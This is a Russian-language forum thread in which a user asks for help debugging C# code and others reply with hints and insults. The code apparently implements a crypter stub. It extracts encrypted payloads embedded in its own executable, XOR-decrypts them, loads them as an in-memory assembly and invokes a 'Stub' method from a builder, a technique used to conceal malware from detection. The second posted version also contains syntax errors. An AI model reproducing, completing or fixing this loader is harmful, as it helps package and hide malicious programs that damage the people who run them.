Загрузка...

C# - Несоответствие числа параметров

Тема в разделе C# создана пользователем SyDeco 7 май 2018. (поднята 7 май 2018) 815 просмотров

  1. SyDeco
    SyDeco Автор темы 7 май 2018 Заблокирован(а) 1 4 май 2018
    Ребят, помогите с кодом, где ошибка?

    Код
    private delegate object invoc(object inst, object[] arg);
    static void Main(string[] args)
    {
    ResourceManager res = new ResourceManager("[resName]", Assembly.Load(File.ReadAllBytes(Application.ExecutablePath)));
    byte[] bLoad = (byte[])res.GetObject("[loaderName]");
    byte[] arra = Decrypt(bLoad, "[keyEnc]");
    Assembly asm = Assembly.Load(arra);
    MethodInfo mi = asm.GetType("Builder.Load").GetMethod("Stub");
    Delegate del = Delegate.CreateDelegate(typeof(invoc), mi, "Invoke");
    del.DynamicInvoke(new object[]
    {
    null,
    new object[]
    {
    (byte[]) res.GetObject("[fileName]"),
    "[keyEnc]"
    }
    });
    }
     
  2. swmf
    swmf 7 май 2018 101 8 дек 2017
    http://prntscr.com/jem3jf
    Ты запихиваешь аргументы в массив объектов, и получается, что передаешь 1 аргумент? Попробуй так:
    http://prntscr.com/jem3jf
     
  3. swmf
    swmf 7 май 2018 101 8 дек 2017
  4. Atlon
    Atlon 7 май 2018 Заблокирован(а) 636 14 мар 2018
    Кнопка редактировать
     
  5. swmf
    swmf 7 май 2018 101 8 дек 2017
  6. ls5str
    ls5str 7 май 2018 Заблокирован(а) 67 10 окт 2017
    Ахуенно ты блять нарисовал, профессионально. Для кого
    Код
    Такая функция создана?
     
  7. swmf
    swmf 7 май 2018 101 8 дек 2017
    ты ебобо, там нет кнопки редактировать под моим сообщением
     
  8. ls5str
    ls5str 7 май 2018 Заблокирован(а) 67 10 окт 2017
    Я не про редактирование, а про то, что есть [SRС]
     
  9. swmf
    swmf 7 май 2018 101 8 дек 2017
    хмм, и хуй с ней, скриншотом тоже неплохо
     
  10. ls5str
    ls5str 7 май 2018 Заблокирован(а) 67 10 окт 2017
    Плохо
     
  11. SyDeco
    SyDeco Автор темы 7 май 2018 Заблокирован(а) 1 4 май 2018
    Код
    class Program
    {
    private delegate object invoc(object inst, object[] arg);
    static void Main(string[] args)
    {
    ResourceManager res = new ResourceManager("[resName]", Assembly.Load(File.ReadAllBytes(Application.ExecutablePath)));
    byte[] bLoad = (byte[])res.GetObject("[loaderName]");
    byte[] arra = Decrypt(bLoad, "[keyEnc]");
    Assembly asm = Assembly.Load(arra);
    MethodInfo mi = asm.GetType("BlackJack.Load").GetMethod("Whores"); //
    Delegate del = Delegate.CreateDelegate(typeof(invoc, mi, "Invoke");
    del.DynamicInvoke(
    null,
    new object[]
    {
    (byte[]) res.GetObject("[fileName]"),
    "[keyEnc]"
    }
    });
    }
    private static byte[] Decrypt(byte[] data, string pass)
    {
    byte[] bytes = Encoding.UTF8.GetBytes(pass);
    int num = 0;
    for (int i = 0; i < data.Length; i++)
    {
    data[i] ^= bytes[num++];
    if (num == bytes.Length)
    {
    num = 0;
    }
    }
    return data;
    }
    }
    http://prntscr.com/jescnl
     
Загрузка...
Top